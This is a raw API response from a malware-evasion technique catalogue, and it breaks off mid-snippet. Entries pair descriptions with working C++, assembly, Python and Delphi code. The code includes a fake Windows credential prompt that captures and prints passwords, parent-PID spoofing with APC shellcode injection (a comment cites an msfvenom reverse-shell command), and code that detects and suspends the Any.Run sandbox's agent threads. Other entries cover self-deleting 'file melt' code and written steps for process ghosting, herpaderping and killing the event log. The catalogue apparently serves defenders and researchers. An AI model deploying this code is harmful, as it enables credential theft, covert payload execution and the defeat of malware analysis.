GET /api/techniques/?format=api
HTTP 200 OK
Allow: GET, POST, HEAD, OPTIONS
Content-Type: application/json
Vary: Accept

{
    "count": 157,
    "next": "https://search.unprotect.it/api/techniques/?format=api&page=2",
    "previous": null,
    "results": [
        {
            "name": "User Interaction (Are you human?)",
            "category": [
                "https://search.unprotect.it/api/categories/1/?format=api"
            ],
            "description": "You can get an advantage against sandboxes by using user interaction techniques. For example, The average user has a username and password and as long as the user you are targeting does not enter their password correctly, you can prevent your malware execution and bypass the possible sandbox control.",
            "resources": "https://github.com/hlldz/pickl3",
            "tags": "",
            "snippets": [
                {
                    "language": "https://search.unprotect.it/api/snippet_languages/2/?format=api",
                    "author": "https://search.unprotect.it/api/snippet_authors/14/?format=api",
                    "technique": "https://search.unprotect.it/api/techniques/174/?format=api",
                    "description": "",
                    "plain_code": "#include <Windows.h>\r\n#include <tchar.h>\r\n#include <CommCtrl.h>\r\n#include <wincred.h>\r\n#include <iostream>\r\n#include <atlstr.h>\r\n\r\n#pragma comment(lib, \"comctl32.lib\")\r\n#pragma comment(lib, \"Credui.lib\")\r\n\r\nvoid pickl3() {\r\n\r\n\tBOOL loginStatus = FALSE;\r\n\tdo {\r\n\t\tCREDUI_INFOW credui = {};\r\n\t\tcredui.cbSize = sizeof(credui);\r\n\t\tcredui.hwndParent = nullptr;\r\n\t\t//credui.pszMessageText = L\"...\";\r\n\t\tcredui.pszCaptionText = L\"Please verify your Windows user credentials to proceed.\";\r\n\t\tcredui.hbmBanner = nullptr;\r\n\r\n\t\tULONG authPackage = 0;\r\n\t\tLPVOID outCredBuffer = nullptr;\r\n\t\tULONG outCredSize = 0;\r\n\t\tBOOL save = false;\r\n\t\tDWORD err = 0;\r\n\r\n\t\terr = CredUIPromptForWindowsCredentialsW(&credui, err, &authPackage, nullptr, 0, &outCredBuffer, &outCredSize, &save, CREDUIWIN_ENUMERATE_CURRENT_USER);\r\n\t\tif (err == ERROR_SUCCESS) {\r\n\t\t\tWCHAR pszUName[CREDUI_MAX_USERNAME_LENGTH * sizeof(WCHAR)];\r\n\t\t\tWCHAR pszPwd[CREDUI_MAX_PASSWORD_LENGTH * sizeof(WCHAR)];\r\n\t\t\tWCHAR domain[CREDUI_MAX_DOMAIN_TARGET_LENGTH * sizeof(WCHAR)];\r\n\t\t\tDWORD maxLenName = CREDUI_MAX_USERNAME_LENGTH + 1;\r\n\t\t\tDWORD maxLenPassword = CREDUI_MAX_PASSWORD_LENGTH + 1;\r\n\t\t\tDWORD maxLenDomain = CREDUI_MAX_DOMAIN_TARGET_LENGTH + 1;\r\n\t\t\tCredUnPackAuthenticationBufferW(CRED_PACK_PROTECTED_CREDENTIALS, outCredBuffer, outCredSize, pszUName, &maxLenName, domain, &maxLenDomain, pszPwd, &maxLenPassword);\r\n\r\n\t\t\tWCHAR parsedUserName[CREDUI_MAX_USERNAME_LENGTH * sizeof(WCHAR)];\r\n\t\t\tWCHAR parsedDomain[CREDUI_MAX_DOMAIN_TARGET_LENGTH * sizeof(WCHAR)];\r\n\t\t\tCredUIParseUserNameW(pszUName, parsedUserName, CREDUI_MAX_USERNAME_LENGTH + 1, parsedDomain, CREDUI_MAX_DOMAIN_TARGET_LENGTH + 1);\r\n\r\n\t\t\tHANDLE handle = nullptr;\r\n\t\t\tloginStatus = LogonUserW(parsedUserName, parsedDomain, pszPwd, LOGON32_LOGON_NETWORK, LOGON32_PROVIDER_DEFAULT, &handle);\r\n\r\n\r\n\t\t\tif (loginStatus == TRUE) {\r\n\t\t\t\tCloseHandle(handle);\r\n\t\t\t\tstd::wcout << \"\\n[+] Valid credential is entered as \" << pszUName << \":\" << pszPwd;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\telse {\r\n\t\t\t\tstd::wcout << \"\\n[-] Invalid credential is entered as \" << pszUName << \":\" << pszPwd;\r\n\t\t\t\tloginStatus = FALSE;\r\n\t\t\t}\r\n\t\t}\r\n\t} while (loginStatus == FALSE);\r\n}\r\n\r\n\r\n\r\nint main () {\r\n\t\r\n\tpickl3();\r\n\treturn 0;\r\n}"
                }
            ],
            "detection_rules": []
        },
        {
            "name": "Parent PID Spoofing",
            "category": [
                "https://search.unprotect.it/api/categories/4/?format=api"
            ],
            "description": "You can spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.",
            "resources": "https://github.com/hlldz/APC-PPID",
            "tags": "",
            "snippets": [
                {
                    "language": "https://search.unprotect.it/api/snippet_languages/2/?format=api",
                    "author": "https://search.unprotect.it/api/snippet_authors/14/?format=api",
                    "technique": "https://search.unprotect.it/api/techniques/173/?format=api",
                    "description": "",
                    "plain_code": "#include <windows.h>\r\n#include <TlHelp32.h>\r\n#include <iostream>\r\n\r\nDWORD getParentProcessID() {\r\n\tHANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\r\n\tPROCESSENTRY32 process = { 0 };\r\n\tprocess.dwSize = sizeof(process);\r\n\r\n\tif (Process32First(snapshot, &process)) {\r\n\t\tdo {\r\n            \t\t//If you want to another process as parent change here\r\n\t\t\tif (!wcscmp(process.szExeFile, L\"explorer.exe\"))\r\n\t\t\t\tbreak;\r\n\t\t} while (Process32Next(snapshot, &process));\r\n\t}\r\n\r\n\tCloseHandle(snapshot);\r\n\treturn process.th32ProcessID;\r\n}\r\n\r\nint main() {\r\n\r\n\t//Shellcode, for example; msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x EXITFUNC=thread -f c\r\n\tunsigned char shellCode[] = \"\";\r\n\r\n\tSTARTUPINFOEXA sInfoEX;\r\n\tPROCESS_INFORMATION pInfo;\r\n\tSIZE_T sizeT;\r\n\r\n\tHANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, getParentProcessID());\r\n\r\n\tZeroMemory(&sInfoEX, sizeof(STARTUPINFOEXA));\r\n\tInitializeProcThreadAttributeList(NULL, 1, 0, &sizeT);\r\n\tsInfoEX.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT);\r\n\tInitializeProcThreadAttributeList(sInfoEX.lpAttributeList, 1, 0, &sizeT);\r\n\tUpdateProcThreadAttribute(sInfoEX.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof(HANDLE), NULL, NULL);\r\n\tsInfoEX.StartupInfo.cb = sizeof(STARTUPINFOEXA);\r\n\r\n\tCreateProcessA(\"C:\\\\Program Files\\\\internet explorer\\\\iexplore.exe\", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, reinterpret_cast<LPSTARTUPINFOA>(&sInfoEX), &pInfo);\r\n\r\n\tLPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pInfo.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n\tSIZE_T *lpNumberOfBytesWritten = 0;\r\n\tBOOL resWPM = WriteProcessMemory(pInfo.hProcess, lpBaseAddress, (LPVOID)shellCode, sizeof(shellCode), lpNumberOfBytesWritten);\r\n\r\n\tQueueUserAPC((PAPCFUNC)lpBaseAddress, pInfo.hThread, NULL);\r\n\tResumeThread(pInfo.hThread);\r\n\tCloseHandle(pInfo.hThread);\r\n\r\n\treturn 0;\r\n}"
                }
            ],
            "detection_rules": []
        },
        {
            "name": "Killing Windows Event Log",
            "category": [
                "https://search.unprotect.it/api/categories/8/?format=api"
            ],
            "description": "Svchost is essential in the implementation of so-called shared service processes, where a number of services can share a process in order to reduce resource consumption. Grouping multiple services into a single process conserves computing resources, and this consideration was of particular concern to NT designers because creating Windows processes takes more time and consumes more memory than in other operating systems, e.g. in the Unix family. This means briefly that on Windows operating systems svchost.exe manages the services and services are actually running under svchost.exe’s as threads. Phant0m targets the Event Log service and finding the process responsible for the Event Log service, it detects and kills the threads responsible for the Event Log service. Thus, while the Event Log service appears to be running in the system (because Phant0m didn't kill process), it does not actually run (because Phant0m killed threads) and the system does not collect logs.",
            "resources": "https://github.com/hlldz/Phant0m",
            "tags": "",
            "snippets": [],
            "detection_rules": []
        },
        {
            "name": "Process Ghosting",
            "category": [
                "https://search.unprotect.it/api/categories/4/?format=api"
            ],
            "description": "Process Ghosting is a technique used to bypass detection by manipulating the executable image when a process is loaded. \r\n\r\nWindows attempts to prevent mapped executables from being modified. Once a file is mapped into an image section, attempts to open it with `FILE_WRITE_DATA` (to modify it) will fail with `ERROR_SHARING_VIOLATION`. Deletion attempts via `FILE_DELETE_ON_CLOSE`/`FILE_FLAG_DELETE_ON_CLOSE` fail with `ERROR_SHARING_VIOLATION`. `NtSetInformationFile`(`FileDispositionInformation`) requires the `DELETE` access right. Even though the `DELETE` access right is granted to files mapped to image sections, `NtSetInformationFile`(`FileDispositionInformation`) fails with `STATUS_CANNOT_DELETE`. Deletion attempts via `FILE_SUPERCEDE`/`CREATE_ALWAYS` fail with `ACCESS_DENIED`. \r\n\r\nAn important note, however, is that this deletion restriction only comes into effect once the executable is mapped into an image section. This means that it is possible to create a file, mark it for deletion, map it to an image section, close the file handle to complete the deletion, then create a process from the now-fileless section. This is Process Ghosting.\r\n\r\nThe attack flow is:\r\n\r\n1. Create a file\r\n2. Put the file into a delete-pending state using `NtSetInformationFile`(FileDispositionInformation). Note: Attempting to use `FILE_DELETE_ON_CLOSE` instead will not delete the file.\r\n3. Write the payload executable to the file. The content isn’t persisted because the file is already delete-pending. The delete-pending state also blocks external file-open attempts.\r\n4. Create an image section for the file.\r\n5. Close the delete-pending handle, deleting the file.\r\n6. Create a process using the image section.\r\n7. Assign process arguments and environment variables.\r\n8. Create a thread to execute in the process.",
            "resources": "https://www.elastic.co/blog/process-ghosting-a-new-executable-image-tampering-attack",
            "tags": "",
            "snippets": [],
            "detection_rules": []
        },
        {
            "name": "Process Herpaderping",
            "category": [
                "https://search.unprotect.it/api/categories/4/?format=api"
            ],
            "description": "Process Herpaderping is a method of obscuring the intentions of a process by modifying the content on a disk after the image has been mapped. This results in curious behavior by security products and the OS itself.\r\n\r\nTo abuse this convention, we first write a binary to a target file on a disk. Then, we map an image of the target file and provide it to the OS to use for process creation. The OS kindly maps the original binary for us. Using the existing file handle, and before creating the initial thread, we modify the target file content to obscure or fake the file backing the image. Sometime later, we create the initial thread to begin the execution of the original binary. Finally, we will close the target file handle. Let's walk through this step-by-step:\r\n\r\n1. Write target binary to disk, keeping the handle open. This is what will execute in memory.\r\n2. Map the file as an image section `NtCreateSection, SEC_IMAGE`.\r\n3. Create the process object using the section handle `NtCreateProcessEx`.\r\n4. Using the same target file handle, obscure the file on disk.\r\n5. Create the initial thread in the process `NtCreateThreadEx`.\r\n    * At this point, the process creation callback in the kernel will fire. The contents on the disk do not match what was mapped. Inspection of the file at this point will result in incorrect attribution.\r\n6. Close the handle. `IRP_MJ_CLEANUP` will occur here.\r\n    * Since we've hidden the contents of what is executing, inspection at this point will result in incorrect attribution.",
            "resources": "https://github.com/jxy-s/herpaderping",
            "tags": "",
            "snippets": [],
            "detection_rules": []
        },
        {
            "name": "LocalSize(0)",
            "category": [
                "https://search.unprotect.it/api/categories/3/?format=api"
            ],
            "description": "The function LocalSize() retrieves the current size of the specified local memory object, in bytes. By setting the hMem parameters with 0 will trigger an exception in a debugger that can be used as an anti-debugging mechanism.",
            "resources": "https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-localsize",
            "tags": "anti-debugging",
            "snippets": [
                {
                    "language": "https://search.unprotect.it/api/snippet_languages/2/?format=api",
                    "author": "https://search.unprotect.it/api/snippet_authors/12/?format=api",
                    "technique": "https://search.unprotect.it/api/techniques/169/?format=api",
                    "description": "",
                    "plain_code": "#include <iostream>\r\n#include <windows.h>\r\n\r\nusing namespace std;\r\n\r\nint main()\r\n{\r\n\tSIZE_T s;\r\n\tprintf(\"Starting the LocalSize()\\n\");\r\n\tfor (int i = 0; i < 0xFFF; i++){\r\n\t    s = LocalSize(0);\r\n\t}\r\n\tprintf(\"Sempai! :) \\n\");\r\n\treturn 0;\r\n}"
                }
            ],
            "detection_rules": [
                {
                    "type": "https://search.unprotect.it/api/detection_rule_categories/2/?format=api",
                    "name": "localsize",
                    "rule": "rule:\r\n  meta:\r\n    name: trap debugger with localsize\r\n    namespace: anti-analysis/anti-debugging\r\n    author: lordtmk@protonmail.com\r\n    scope: basic block\r\n    examples:\r\n      - B67E5B1985742F62785122B637EF4FBD:0x4B1F5B\r\n  features:\r\n    - and:\r\n      - api: LocalSize\r\n      - mnemonic: push \r\n      - number: 0"
                }
            ]
        },
        {
            "name": "Detecting Online Sandbox",
            "category": [
                "https://search.unprotect.it/api/categories/1/?format=api"
            ],
            "description": "Online sandbox has become very popular for malware analysis. Several malware authors employ such techniques to avoid detection and analysis. Some of these techniques will be summarized here.\r\n\r\n* Any.Run uses a fake root certificate to spy on sandbox traffic. The first information about the system can be obtained by querying the information of the root certificate. In addition, the QEMU Agent is modified and used to monitor the applications running in the virtual machine allowing the sandbox to do API hooking and monitor the analyzed process. If a process name such as \"srvpost.exe\" is running and the \"winanr.dll\", \"winsanr.dll\" libraries are loaded, it is possible to detect the Any.Run agent.\r\n\r\n* Any.Run offers many packages to their users. And in addition to the features they are offering in these packages, they also determine the maximum number of minutes for active analysis. For example, you can analyze a file for 5 minutes by default with the Searcher package, that you pay 90 dollars to acquire, and you can make this time a maximum of 10 minutes by adding time in interactive mode. The sechost.dll in the agent contains and transmits the timing metrics of ANY.RUN. When we suspend this thread, Any.Run stops its counter and the analysis continues until it drops to timeout.",
            "resources": "https://malwation.com/offensive-approach-to-online-sandboxes-1-any-run/\r\nhttps://gist.github.com/kaganisildak/4ff8adcaba2521a28a7029d61c265d16\r\nhttps://app.any.run/tasks/5bff31df-4688-41b1-a73a-d15d30e7ac54/\r\nhttps://app.any.run/",
            "tags": "",
            "snippets": [
                {
                    "language": "https://search.unprotect.it/api/snippet_languages/2/?format=api",
                    "author": "https://search.unprotect.it/api/snippet_authors/11/?format=api",
                    "technique": "https://search.unprotect.it/api/techniques/168/?format=api",
                    "description": "Source: https://github.com/Malwation/InceptionAttack",
                    "plain_code": "#include <iostream>\r\n#include <windows.h>\r\n#include <TlHelp32.h>\r\n#define DEBUG_MODE 1\r\n#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)\r\n#define ThreadQuerySetWin32StartAddress 9\r\n\r\ntypedef NTSTATUS(WINAPI* NTQUERYINFOMATIONTHREAD)(HANDLE, LONG, PVOID, ULONG, PULONG);\r\n\r\nstruct args {\r\n\tHANDLE hThread;\r\n};\r\n\r\nDWORD_PTR WINAPI GetThreadStartAddress(HANDLE hThread)\r\n{\r\n\tNTSTATUS ntStatus;\r\n\tDWORD_PTR dwThreadStartAddr;\r\n\tNTQUERYINFOMATIONTHREAD NtQueryInformationThread;\r\n\tNtQueryInformationThread = (NTQUERYINFOMATIONTHREAD)GetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtQueryInformationThread\");\r\n\tntStatus = NtQueryInformationThread(hThread, ThreadQuerySetWin32StartAddress, &dwThreadStartAddr, sizeof(DWORD_PTR), NULL);\r\n\tif (ntStatus != STATUS_SUCCESS) {\r\n\t\treturn 0;\r\n\t}\r\n\treturn dwThreadStartAddr;\r\n}\r\n\r\nDWORD_PTR * GetModuleInfo(DWORD pid, const wchar_t *target) {\r\n\tHANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, pid);\r\n\tDWORD_PTR moduleinfo[2];\r\n\tif (hSnap != INVALID_HANDLE_VALUE)\r\n\t{\r\n\t\tMODULEENTRY32 modEntry;\r\n\t\tmodEntry.dwSize = sizeof(modEntry);\r\n\t\tif (Module32First(hSnap, &modEntry))\r\n\t\t{\r\n\t\t\tdo\r\n\t\t\t{\r\n\t\t\t\tif (!_wcsicmp(modEntry.szModule, target)) {\r\n\t\t\t\t\tmoduleinfo[0] = (DWORD_PTR)modEntry.modBaseAddr;\r\n\t\t\t\t\tmoduleinfo[1] = modEntry.modBaseSize;\r\n\t\t\t\t\treturn moduleinfo;\r\n\t\t\t\t}\r\n\t\t\t\t//std::wcout << \"Name: \" << modEntry.szModule << \"\\t Addr: \" << modEntry.modBaseAddr << \"\\n\";\r\n\t\t\t} while (Module32Next(hSnap, &modEntry));\r\n\t\t}\r\n\t}\r\n\treturn 0;\r\n}\r\n\r\nBOOL isTarget(HANDLE tHandle, DWORD pid, const wchar_t *target) {\r\n\tDWORD_PTR ThreadStartAddr = GetThreadStartAddress(tHandle);\r\n\tif (!ThreadStartAddr) {\r\n\t\tstd::cout << \"Get start address of thread failed!\\n\";\r\n\t\tExitProcess(1);\r\n\t}\r\n\tDWORD_PTR* retmoduleinfo = GetModuleInfo(pid, target);\r\n\tDWORD_PTR ModuleStart = retmoduleinfo[0];\r\n\tDWORD_PTR ModuleEnd = retmoduleinfo[0] + retmoduleinfo[1];\r\n\t// Only shows debug mode on (1)\r\n\tif (DEBUG_MODE) {\r\n\t\tprintf(\"THREAD START ADDR: %012X\\n\", ThreadStartAddr);\r\n\t\tprintf(\"MODULE START ADDR: %012X\\n\", retmoduleinfo[0]);\r\n\t\tprintf(\"MODULE END ADDR: %012X\\n\", retmoduleinfo[0] + retmoduleinfo[1]);\r\n\t}\r\n\tif (ThreadStartAddr >= ModuleStart && ThreadStartAddr <= ModuleEnd) { // Is thread start address between ModuleStart and ModuleEnd?\r\n\t\treturn TRUE;\r\n\t}\r\n\telse {\r\n\t\treturn FALSE;\r\n\t}\r\n}\r\n\r\nvoid CrackAnyRun(LPVOID inargs) {\r\n\targs *funcargs = (args*)inargs;\r\n\tHANDLE tHandle = funcargs->hThread;\r\n\twhile (1){\r\n\t\tSuspendThread(tHandle);\r\n\t\tstd::cout << \"Thread suspended\\n\";\r\n\t\tSleep(24000);\r\n\t\tResumeThread(tHandle);\r\n\t\tstd::cout << \"Thread resumed\\n\";\r\n\t\tSleep(1000);\r\n\t}\r\n}\r\n\r\nint main()\r\n{\r\n\tHANDLE tHandle, pHandle = 0, hToken;\r\n\tDWORD tid, pid = 0;\r\n\tLUID luid = { 0 };\r\n\tBOOL privRet = FALSE;\r\n\r\n\tif (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))\r\n\t{\r\n\t\tstd::cout << \"OpenProcessToken success!\\n\";\r\n\t\tif (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))\r\n\t\t{\r\n\t\t\tTOKEN_PRIVILEGES tokenPriv = { 0 };\r\n\t\t\ttokenPriv.PrivilegeCount = 1;\r\n\t\t\ttokenPriv.Privileges[0].Luid = luid;\r\n\t\t\ttokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\r\n\t\t\tprivRet = AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), NULL, NULL);\r\n\t\t}\r\n\t}\r\n\telse {\r\n\t\tstd::cout << \"OpenProcessToken failed! Error: \" << GetLastError() << \"\\n\";\r\n\t\tExitProcess(1);\r\n\t}\r\n\tif (!privRet) {\r\n\t\tstd::cout << \"Adjust privilege failed!\\n\";\r\n\t\tExitProcess(1);\r\n\t}\r\n\r\n\t// Find PID by name\r\n\tPROCESSENTRY32 pe; \r\n\tHANDLE hps = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\r\n\tif (hps != INVALID_HANDLE_VALUE) {\r\n\t\tpe.dwSize = sizeof(PROCESSENTRY32);\r\n\t\tif (Process32First(hps, &pe)) {\r\n\t\t\tdo {\r\n\t\t\t\tif (!_wcsicmp(pe.szExeFile, L\"srvpost.exe\")) {\r\n\t\t\t\t\tpid = pe.th32ProcessID;\r\n\t\t\t\t}\r\n\t\t\t} while (Process32Next(hps, &pe));\r\n\t\t}\r\n\t}\r\n\telse {\r\n\t\tstd::cout << \"Process snapshot cannot taken!\\n\";\r\n\t\tExitProcess(1);\r\n\t}\r\n\tif (pid == 0) {\r\n\t\tstd::cout << \"Process not found!\\n\";\r\n\t\tExitProcess(1);\r\n\t}\r\n\t// Retrieve threads in process\r\n\tHANDLE hth = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);\r\n\tif (hth != INVALID_HANDLE_VALUE) {\r\n\t\tTHREADENTRY32 te;\r\n\t\tte.dwSize = sizeof(te);\r\n\t\tif (Thread32First(hth, &te)) {\r\n\t\t\tdo {\r\n\t\t\t\tif (te.th32OwnerProcessID == pid) {\r\n\t\t\t\t\ttHandle = OpenThread(THREAD_SUSPEND_RESUME | THREAD_QUERY_INFORMATION, FALSE, te.th32ThreadID);\r\n\t\t\t\t\tif (tHandle != INVALID_HANDLE_VALUE) {\r\n\t\t\t\t\t\tif (isTarget(tHandle, pid, L\"winsanr.dll\")) {\r\n\t\t\t\t\t\t\tSuspendThread(tHandle);\r\n\t\t\t\t\t\t\t// Only shows debug mode on (1)\r\n\t\t\t\t\t\t\tif (DEBUG_MODE) {\r\n\t\t\t\t\t\t\t\tstd::cout << \"THREADID: \" << te.th32ThreadID << \"\\n\";\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t// Crack any.run :D \r\n\t\t\t\t\t\tif (isTarget(tHandle, pid, L\"sechost.dll\")) {\r\n\t\t\t\t\t\t\tHANDLE dupHandle;\r\n\t\t\t\t\t\t\tif (DuplicateHandle(GetCurrentProcess(), tHandle, GetCurrentProcess(), &dupHandle, THREAD_SUSPEND_RESUME, FALSE, 0)) {\r\n\t\t\t\t\t\t\t\targs thargs;\r\n\t\t\t\t\t\t\t\tthargs.hThread = dupHandle;\r\n\t\t\t\t\t\t\t\tCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)CrackAnyRun, &thargs, 0, NULL);\r\n\t\t\t\t\t\t\t\tCloseHandle(tHandle);\r\n\t\t\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\telse {\r\n\t\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tCloseHandle(tHandle);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t} while (Thread32Next(hth, &te));\r\n\t\t}\r\n\t}\r\n\telse {\r\n\t\tstd::cout << \"Thread snapshot cannot taken!\\n\";\r\n\t\tExitProcess(1);\r\n\t}\r\n\twhile (1); // for second thread\r\n}"
                },
                {
                    "language": "https://search.unprotect.it/api/snippet_languages/3/?format=api",
                    "author": "https://search.unprotect.it/api/snippet_authors/11/?format=api",
                    "technique": "https://search.unprotect.it/api/techniques/168/?format=api",
                    "description": "This snippet detects if the process is running in the online sandbox app.any.run.",
                    "plain_code": "import subprocess\r\n\r\ndef executer(args):\r\n    proc = subprocess.Popen(args,stdout=subprocess.PIPE)\r\n    return str(proc.communicate()[0])\r\n\r\ncert = executer([\"powershell.exe\", \"-Command\",\"Get-ChildItem\",\"-Recurse\",\"Cert:CurrentUser\\My\"])\r\nproc = executer([\"powershell.exe\",\"Get-Process\"])\r\ndlls = executer([\"listdlls.exe\",\"srvpost.exe\",\"/accepteula\"])\r\n\r\nSUSDLLS = (\"winanr.dll\", \"winsanr.dll\")\r\nif any(dll in dlls for dll in SUSDLLS): print(\"Any.Run Monitoring Agent Found\")\r\n\r\nif \"Some Company\" in cert or \"srvpost\" in proc:\r\n    print(\"ANY.RUN DETECTED\")\r\nelse:\r\n    print(\"NOT ANY.RUN\")"
                }
            ],
            "detection_rules": []
        },
        {
            "name": "File Melt",
            "category": [
                "https://search.unprotect.it/api/categories/14/?format=api"
            ],
            "description": "This technique is often used by Malware (sometimes as an option) to delete itself after being silently installed (upon first execution).",
            "resources": "",
            "tags": "",
            "snippets": [
                {
                    "language": "https://search.unprotect.it/api/snippet_languages/6/?format=api",
                    "author": "https://search.unprotect.it/api/snippet_authors/10/?format=api",
                    "technique": "https://search.unprotect.it/api/techniques/167/?format=api",
                    "description": "",
                    "plain_code": "include 'win32ax.inc'\r\n\r\nmain:\r\n\r\n\r\n\r\n     stdcall [GetModuleFileName],0,modulename,80\r\n     stdcall [CreateFile],BatFile,GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0\r\n\r\n     mov [myfile], eax\r\n     cmp eax, 0xffffff\r\n     jz .exit\r\n\r\n     stdcall [wsprintf],buf,MainStr,modulename,modulename\r\n     stdcall [WriteFile],[myfile],buf,bufsize,byteswritten,0\r\n     stdcall [CloseHandle],[myfile]\r\n\r\n\r\n     stdcall [ShellExecute],0,0,BatFile,0,0,SW_HIDE\r\n\r\n.exit:\tstdcall [ExitProcess],0\r\n\r\n\r\n\r\n MainStr db \":Repeat\",13,10,\\\r\n\t   \"del %s\",13,10,\\\r\n\t   \"if exist %s goto Repeat\",13,10,\\\r\n\t   \"del del.bat\",0\r\n\r\n BatFile db \"del.bat\",0\r\n\r\n modulename rb 80\r\n buf\t    rb\t0xff\r\n bufsize = $ - buf\r\n\r\n myfile \t\t dd ?\r\n byteswritten\t     dd ?\r\n\r\ndata import\r\nlibrary kernel32,\"kernel32.dll\",user32,\"user32.dll\",shell32,\"shell32.dll\"\r\ninclude \"%include%/api/shell32.inc\"\r\ninclude \"%include%/api/kernel32.inc\"\r\ninclude \"%include%/api/user32.inc\"\r\nend data"
                },
                {
                    "language": "https://search.unprotect.it/api/snippet_languages/6/?format=api",
                    "author": "https://search.unprotect.it/api/snippet_authors/10/?format=api",
                    "technique": "https://search.unprotect.it/api/techniques/167/?format=api",
                    "description": "",
                    "plain_code": "include 'win64ax.inc'\r\ninclude 'pe.inc'\r\nentry start\r\n\r\n\r\nstart:\r\n\r\n       sub rsp, 8 ; Align stack\r\n\r\n       fastcall [GetModuleFileNameA], 0, modulename, 50 ; Get full path of this file\r\n\r\n       mov rax,[gs:60h]    ; PEB\r\n       mov rax,[rax+10h]   ; ImageBaseAddress\r\n\r\n       mov [ImageBaseAddress], rax\r\n\r\n       movsxd  rax, dword [rax+IMAGE_DOS_HEADER.e_lfanew]\r\n       add rax,[ImageBaseAddress]\r\n\r\n       mov eax, dword [rax+IMAGE_NT_HEADERS64.OptionalHeader.SizeOfImage]\r\n       mov [dwSize], eax\r\n\r\n       ; To work for Win10 we must clear the sinfo struct (104 Bytes)\r\n\r\n       cinvoke memset, sinfo, 0, 104d\r\n       mov  [sinfo.cb], 104d\r\n\r\n       ; Now we create the process to inject our code in with CREATE_SUSPENDED flag so it does not actually run :)\r\n\r\n       fastcall [CreateProcessA], 0, sCalc, 0, 0, FALSE, CREATE_SUSPENDED, 0, 0, sinfo, pinfo\r\n\r\n\r\n       ; Allocate memory in the remote process (Calc.exe)\r\n\r\n       fastcall [VirtualAllocEx], [pinfo.hProcess], [ImageBaseAddress], [dwSize], MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE\r\n\r\n       ; Write it to the remote process\r\n\r\n       fastcall [WriteProcessMemory], [pinfo.hProcess], rax, [ImageBaseAddress], [dwSize], 0\r\n\r\n       ; execute the code pointed by HijackedThread into the remote process\r\n\r\n       fastcall [CreateRemoteThread], [pinfo.hProcess], 0, 0, HijackedThread, 0, 0, 0\r\n\r\nexit:  fastcall [ExitProcess], 0  ; exit this process so the injected code can delete this file !\r\n\r\n\r\n\r\n HijackedThread:\r\n\r\n       sub rsp, 8\r\n\r\n       invoke DeleteFileA, modulename  ; <-- modulename contains the full path of this file\r\n       invoke ExitProcess,0\r\n\r\n\r\n\r\nsection '.data' data readable writeable\r\n\r\n\r\nsCalc  db  'calc.exe',0  ; <-- process where we inject our code in\r\n\r\n\r\n modulename  rb 50\r\n\r\n\r\n\r\n pinfo\t      PROCESS_INFORMATION\r\n sinfo\t      STARTUPINFO\r\n\r\n ImageBaseAddress     dq 0\r\n dwSize \t      dd 0\r\n\r\n\r\nsection '.idata' import data readable writeable\r\n\r\n  library kernel32,'KERNEL32.DLL',\\\r\n\t  user32,'USER32.DLL',\\\r\n\t  msvcrt,'msvcrt.dll'\r\n\r\n\r\n import msvcrt,\\\r\n\tmemset,'memset'\r\n\r\n  include 'api\\kernel32.inc'\r\n  include 'api\\user32.inc'"
                },
                {
                    "language": "https://search.unprotect.it/api/snippet_languages/1/?format=api",
                    "author": "https://search.unprotect.it/api/snippet_authors/1/?format=api",
                    "technique": "https://search.unprotect.it/api/techniques/167/?format=api",
                    "description": "",
                    "plain_code": "{\r\n  32Bit Example of File Melting\r\n}\r\n\r\nprogram Melt;\r\n\r\n{$APPTYPE CONSOLE}\r\n\r\n{$R *.res}\r\n\r\nuses\r\n  System.SysUtils,\r\n  WinAPI.Windows,\r\n  shlobj;\r\n\r\n\r\ntype\r\n  TRemotePointer = record\r\n    Address : Pointer;\r\n    Size    : Cardinal;\r\n  end;\r\n\r\n  TMeltThreadInfo = record\r\n    // WinAPI\r\n    GetProcAddress : Pointer;\r\n    LoadLibrary    : Pointer;\r\n    GetLastError   : Pointer;\r\n    ExitProcess    : Pointer;\r\n    DeleteFileW    : Pointer;\r\n    Sleep          : Pointer;\r\n    WinExec        : Pointer;\r\n\r\n    // Str\r\n    sTargetFile    : Pointer;\r\n    sExecFile      : Pointer;\r\n  end;\r\n  PMeltThreadInfo = ^TMeltThreadInfo;\r\n\r\n{\r\n  Generate an exception message with Last Error Information\r\n}\r\nfunction GetLastErrorMessage(AFuncName : String) : String;\r\nbegin\r\n  result := Format('\"%s\" call failed with LastError=[%d], 